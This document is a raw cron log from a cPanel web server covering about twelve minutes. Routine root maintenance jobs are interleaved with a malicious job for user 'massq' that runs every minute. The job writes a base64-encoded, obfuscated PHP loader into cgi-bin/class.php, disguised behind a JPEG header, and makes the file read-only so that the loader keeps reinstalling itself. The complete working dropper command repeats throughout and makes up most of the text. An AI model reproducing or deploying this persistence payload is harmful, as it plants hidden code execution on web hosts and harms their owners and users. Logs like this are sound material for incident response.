Sep  4 21:15:01 server CROND[17276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:15:01 server CROND[17277]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 21:15:01 server CROND[17278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:15:01 server CROND[17279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:15:01 server CROND[17281]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:16:01 server CROND[18174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:16:01 server CROND[18175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:16:01 server CROND[18176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:17:01 server CROND[18582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:17:01 server CROND[18583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:17:01 server CROND[18584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:18:01 server CROND[18973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:18:01 server CROND[18974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:18:01 server CROND[18975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:19:01 server CROND[19439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:19:01 server CROND[19440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:19:01 server CROND[19441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:20:01 server CROND[19825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:20:01 server CROND[19827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:20:01 server CROND[19836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:20:01 server CROND[19844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:20:01 server CROND[19848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:20:01 server CROND[19850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:20:01 server CROND[19849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:20:01 server CROND[19852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:20:01 server CROND[19851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:21:01 server CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:21:01 server CROND[20667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:21:01 server CROND[20668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:22:01 server CROND[21040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:22:01 server CROND[21041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:22:01 server CROND[21042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:23:01 server CROND[21423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:23:01 server CROND[21424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:23:01 server CROND[21427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:24:01 server CROND[21881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:24:01 server CROND[21882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:24:01 server CROND[21883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:25:01 server CROND[22312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:25:01 server CROND[22313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:25:01 server CROND[22315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:25:01 server CROND[22317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:25:01 server CROND[22319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:25:01 server CROND[22320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:25:01 server CROND[22318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:26:01 server CROND[23303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:26:01 server CROND[23304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:26:01 server CROND[23306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:27:01 server CROND[23673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:27:01 server CROND[23676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
